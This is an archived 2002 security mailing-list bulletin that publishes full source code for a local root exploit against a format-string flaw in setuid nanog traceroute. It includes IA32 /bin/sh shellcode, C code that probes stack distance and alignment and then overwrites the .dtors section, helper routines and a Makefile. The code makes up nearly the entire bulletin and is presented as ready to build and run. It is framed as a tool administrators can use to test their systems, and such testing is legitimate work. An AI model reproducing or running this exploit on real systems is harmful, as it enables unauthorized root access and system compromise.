[EXPL] Nanog Traceroute Format String Exploit
From: support@securiteam.comDate: 07/22/02
- Previous message: support@securiteam.com: "[NEWS] Pyramid BenHur Firewall Active FTP Portfilter Ruleset Results in a Firewall Leak"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Mon, 22 Jul 2002 18:17:21 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Nanog Traceroute Format String Exploit
------------------------------------------------------------------------
SUMMARY
The following is an exploit for our previously published format string
vulnerability in the traceroute utility. This exploit can be used by
administrator to test their system for the mentioned vulnerability.
DETAILS
Exploit code:
execve3.S:
/* /bin/sh shellcode for linux IA32 */
/* spacewalker@minithins.net */
data
globl execve_shellcode
execve_shellcode:
xor %eax,%eax
mov $23,%al
xor %ebx,%ebx
int $0x80
xor %eax,%eax
push %eax
mov %esp,%edx
push $0x68732f6e
push $0x69622f2f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $11, %al
int $0x80
/* To signal the end of the shellcode */
string ""
exp.h:
long get_dtor_addr(char *);
int test_format(char *,char *);
int exploit_format(char *,char *);
extern char **execve_shellcode;
main.c:
/* This is part of published source code from CNS */
/* (c)2002 CNS (www.minithins.net) */
/* Code from Spacewalker */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <time.h>
#include "exp.h"
extern char **environ;
#define BUFFERLEN 31 /* Size of the -T buffer */
#define MAXADDRLEN 20 /* size of the addr array */
#define DEFAULT_HOST "localhost" /* traceroute localhost always works*/
#define DEFAULT_TARGET
"/home/spacewalker/traceroute-nanog-6.0.orig/traceroute"
#define TESTADDRS "AAAABBBB"
/* Global vars. Ugly but works */
char *host=DEFAULT_HOST;
char *target=DEFAULT_TARGET;
char *shellcode;
int verbose=0;
int insaneverbose=0;
int distance=1;
int align=0;
int switched=0;
int pleasewait=0;
unsigned long retloc;
int offset=50;
int nopnum=100;
int strref(char *begin,char *end, char caractere){
register int i=0;
for(;begin<=end;begin++){
if((*begin==caractere))
i++;
if(*begin==0)
break;
}
return i;
}
char *execute(char *format,char *addresses){
int fd;
char buffer[1024];
int lus;
char *retbuffer;
char *ptr;
fd=test_format(format,addresses);
wait(NULL);
lus=read(fd,buffer,1023);
close(fd);
if(lus<=0){
printf("Error while reading\n");
perror("read");
exit(-1);
}
buffer[lus]=0;
ptr=strchr(buffer,'|');
if(ptr==NULL){
printf("*** no | in the format ???\n*** %s\n",buffer);
exit(-1);
}
*(strrchr(ptr,'|') + 1 )=0;
if(*ptr==0){
printf("*** our format is broken.\n");
exit(-1);
}
retbuffer=malloc(strlen(ptr)+1);
strcpy(retbuffer,ptr);
return retbuffer;
}
char *do_format(unsigned long retaddr){
unsigned short writed=0;
unsigned short towrite;
unsigned long tmp;
int i=0,j=0;
char *format;
char buffer[32];
format=malloc(50);
bzero(format,50);
buffer[0]=0;
if( ((retaddr & 0x0000ffff)) > (retaddr>>16)){
if(verbose)
printf("*** switching high and low values for the %%hn : "
"%.8lx \n", retaddr);
tmp=(long)(retaddr&0x0000ffff);
retaddr=(long)(retaddr>>16)|(tmp<<16);
switched=1;
}
for(i=0;i<2;i++){
bzero(buffer,32);
towrite=(short) (((long)((long)retaddr & (long) 0xffff)-writed));
if(insaneverbose)
printf("to write : %hu ; writed : %hu ; address :
%.8lx\n",towrite,writed,retaddr);
if(towrite<8){
for(j=0;j<towrite;j++)
strcat(buffer,"A");
}
else {
sprintf(buffer,"%%.%dx",towrite);
}
if(insaneverbose)
printf("%s\n",buffer);
strcat(format,buffer);
sprintf(buffer,"%%%d$hn",distance+i);
strcat(format,buffer);
retaddr=retaddr>>16;
writed=towrite;
}
return format;
}
int exploit(){
char *format=do_format((long)shellcode+offset);
char addrbuf[25];
long *longaddr;
int i;
strcat(format,"\n");
while(strlen(format)<BUFFERLEN)
strcat(format," ");
format[BUFFERLEN]=0;
if(verbose)
printf("**** format string %s\n",format);
bzero(addrbuf,25);
for(i=0;i<align;i++)
strcat(addrbuf,"A");
longaddr=(long *)&addrbuf[align];
if(switched==0){
longaddr[0]=retloc;
longaddr[1]=retloc+2;
}
else {
longaddr[0]=retloc+2;
longaddr[1]=retloc;
}
longaddr[2]=0;
while(strlen(addrbuf)<MAXADDRLEN)
strcat(addrbuf," ");
printf("*** Prepare to get your root shell...\n");
if(pleasewait){
printf("Please press a key to launch the exploit\n");
getchar();
}
exploit_format(format,addrbuf);
return 0;
}
int find_distance(){ /* We have the hard, loudy, task to find the
distance.*/
char firsttest[25];
char buffer[64];
char *response;
char *ptr;
int i;
if(verbose)
printf("\n");
else
putchar(';');
fflush(stdout);
srand(time(NULL));
while(1){
if(!verbose)
{
if(random()%2)
putchar('P');
else
putchar('p');
fflush(stdout);
}
distance+=4;
sprintf(buffer,"|%%%d$x|%%%d$x|%%%d$x|%%%d$x|",distance,distance+1,distance+2,distance+3);
while(strlen(buffer)<BUFFERLEN)
strcat(buffer," ");
bzero(firsttest,25);
for(i=0;i<align;i++)
strcat(firsttest,"Z");
strcat(firsttest,TESTADDRS);
while(strlen(firsttest)<MAXADDRLEN)
strcat(firsttest," ");
if(verbose)
printf("Testing %s\n",buffer);
response=execute(buffer,firsttest);
if(insaneverbose)
printf("%s\n",response);
if((ptr=strstr(response,"|41414141|"))){
distance+=strref(response,ptr,'|')-1;
if(!verbose)
putchar('\n');
printf("*** Found at %d align %d\n",distance,align);
free(response);
return 0;
}
if(strstr(response,"|414141")){
distance -=4;
align+=3;
}
else if (strstr(response,"414141|")){
distance -=4;
align+=1;
}
else if( (strstr(response,"|4141"))||(strstr(response,"4141|"))){
distance -=4;
align+=2;
}
free(response);
}
return 0;
}
int usage(){
printf("Usage : ./tracertexp [-h host] [-t target] [-n nopnum] [-o
offset] [-w] [-v] [-vv]\n");
printf("host : host the traceroute should trace. Default :
%s\n",DEFAULT_HOST);
printf("target : binary to exploit. Default : %s\n",DEFAULT_TARGET);
printf("offset : offset for the shellcode.\n");
printf("nopnum : force the number of nops\n");
printf("v : verbose ; vv : insane verbose (for debugging)\n");
printf("w : wait a keypress before launching exploit\n");
exit(-1);
}
int exploitable(){
struct stat buffer;
int ok=1;
int fd;
char readbuf[1024];
int lus;
if(lstat(target,&buffer)){
perror(target);
usage();
exit(-1);
}
if( (buffer.st_mode & S_ISUID)==0){
printf("*** bad : %s is not suid\n",target);
ok=0;
}
if(buffer.st_uid != 0){
printf("*** bad : %s not owned by rewt\n",target);
ok=0;
}
if((buffer.st_mode & S_IXOTH)==0){
printf("*** bad : %s is not world executable\n",target);
ok=0; /* Assume we are other, of course */
}
if((buffer.st_mode & S_IROTH)==0){
printf("*** bad : %s is not world readable\n",target);
ok=0; /* assume too we are world */
}
if(ok)
printf("*** good : File permissions look fine\n");
retloc=get_dtor_addr(target);
if(retloc==0){
printf("Error getting .dtors address\n");
exit(-1);
}
if(verbose)
printf("*** found retloc : 0x%.8lx\n",retloc);
fd=test_format("||||%x%x%x%x","traceroute");
wait(NULL);
lus=read(fd,readbuf,1023);
close(fd);
if(lus<=0){
printf("*** fatal : short read\n");
exit(-1);
}
readbuf[lus]=0;
if(insaneverbose)
printf("*** result of first try : %s\n",readbuf);
if(strstr(readbuf,"%x%x%x%x%x")){
printf("*** fatal : This version is patched\n");
exit(-1);
}
if(!strstr(readbuf,"||||")){
printf("*** fatal : could not see existence of our format\n");
exit(-1);
}
printf("*** well, vulnerable :-)\n");
shellcode=getenv("SHELLCODE");
if(shellcode==NULL){
printf("*** Where is the var $SHELLCODE ???\n");
exit(-1);
}
return 0;
}
int parse_options(int argc,char **argv){
int i;
while((i=getopt(argc,argv,"n:o:wvh:t:"))!= -1){
switch (i){
case 'n':
nopnum=atoi(optarg);
break;
case 'o':
offset=atoi(optarg);
break;
case 'w':
pleasewait=1;
break;
case 'v':
if(verbose)
insaneverbose=1;
else
verbose=1;
break;
case 't':
target=optarg;
break;
case 'h':
host=optarg;
break;
default:
usage();
}
}
return 0;
}
char *get_shellcode(){
char *shell;
shell=malloc(nopnum+strlen((char *)&execve_shellcode)+10);
memset(shell,nopnum,0x90);
strcpy((char *)&shell[nopnum],(char *)&execve_shellcode);
return shell;
}
int main(int argc,char **argv){
if(getenv("SHELLCODE")==NULL){
setenv("SHELLCODE",get_shellcode(),1);
execve(argv[0],argv,environ);
printf("Error re-launching %s ???\n",argv[0]);
exit(-1);
}
printf("L33t 6.0 GOLD: TrACESroute local root exploit\n");
printf("(c)2002 CNS/minithins, public release\n");
parse_options(argc,argv);
printf("Step 1 : Looking if exploitable\n");
exploitable();
printf("Step 2 : Finding the distance... : ");
find_distance();
printf("Step 3 : Exploitation...\n");
exploit();
return 0;
}
Makefile:
CFLAGS= -g -O2 -Wall
OBJECTS= main.o popen.o execve3.o
TARGET= tracertexp
all: $(TARGET)
@echo "done"
@echo "./tracertexp and hope the force is with you"
$(TARGET): $(OBJECTS)
gcc -o $(TARGET) $(OBJECTS)
clean:
rm -f $(OBJECTS) $(TARGET) *.c~ Makefile~ *.h~ *.S~
popen.c:
/* This is part of published source code from CNS */
/* (c)2002 CNS (www.minithins.net) */
/* Code from Spacewalker */
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <string.h>
#include "exp.h"
extern char *target;
extern char *host;
extern char **environ;
int exploit_format(char *format,char *progname){
char *args[7];
args[0]=progname;
args[1]="-q";
args[2]="1";
args[3]="-T";
args[4]=format;
args[5]=host;
args[6]=NULL;
execve(target,args,environ);
fprintf(stderr,"Sorry, Exploitation attempt failled.\n");
exit(-1);
}
int test_format(char *format,char *progname){
int tubes[2];
// char buffer[128];
char *args[7];
int pid;
args[0]=progname;
args[1]="-q";
args[2]="1";
args[3]="-T";
args[4]=format;
args[5]=host;
args[6]=NULL;
pipe(tubes);
pid=fork();
if (pid==0){
close(2); /* stderr much too noisy */
close(tubes[0]); /* close the input pipe */
dup2(tubes[1],STDOUT_FILENO);
execve(target,args,environ);
//fprintf(stderr,"error executing %s\n",target);
exit(-1);
}
close(tubes[1]);
return tubes[0];
}
int my_popen(char *command){
char *args[]={"/bin/sh","-c",command,NULL};
int inpipes[2];
int uid;
pipe(inpipes);
uid=fork();
if(uid==0){
close(inpipes[0]); // stdin
dup2(inpipes[1],1); // stdout
execve("/bin/sh",args,environ);
fprintf(stderr,"Something went wrong with the execve\n");
return -1;
}
close(inpipes[1]);
return inpipes[0];
}
long get_dtor_addr(char *file){
int fd;
long got;
char buffer[256];
snprintf(buffer,256,"objdump -j .dtors -s %s | tail -n 1",file);
//remove_chld_signal();
fd=my_popen(buffer);
if(fd <= 0)
return -1;
if (read(fd,buffer,256)<=0){
printf("short read\n");
return 0;
}
close(fd);
wait(NULL);
got=strtoul(buffer,(char **)strchr(buffer,' '),16);
got +=4;
return got;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:spacewalker@minithins.net>
SpaceWalker.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] Pyramid BenHur Firewall Active FTP Portfilter Ruleset Results in a Firewall Leak"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] ELOG Remote Shell Exploit
... char content; ... static int content_length; ... static unsigned
char boundary; ... void get_server_version; ... (Securiteam) - [PATCH 1/4] v9fs: rename non-vfs related structs and functions to be moved to net/9p
... char *str; ... u32 version; ... struct v9fs_qid *qid) ...
*wstat, int extended) ... (Linux-Kernel) - (fwd) Remote BSD ftpd glob exploit
... extern int errno; ... char *description; ... void *Realloc;
... translates a host from its string representation (either in numbers ... (FreeBSD-Security) - Re: A code from M.Jerzy Buczynski
... #ifdef HAVE_ARPA_INET_H ... static char peeked; ... extern
int h_errno; ... (comp.bugs.misc) - Re: A code from M.Jerzy Buczynski
... #ifdef HAVE_ARPA_INET_H ... static char peeked; ... extern
int h_errno; ... (comp.bugs.misc)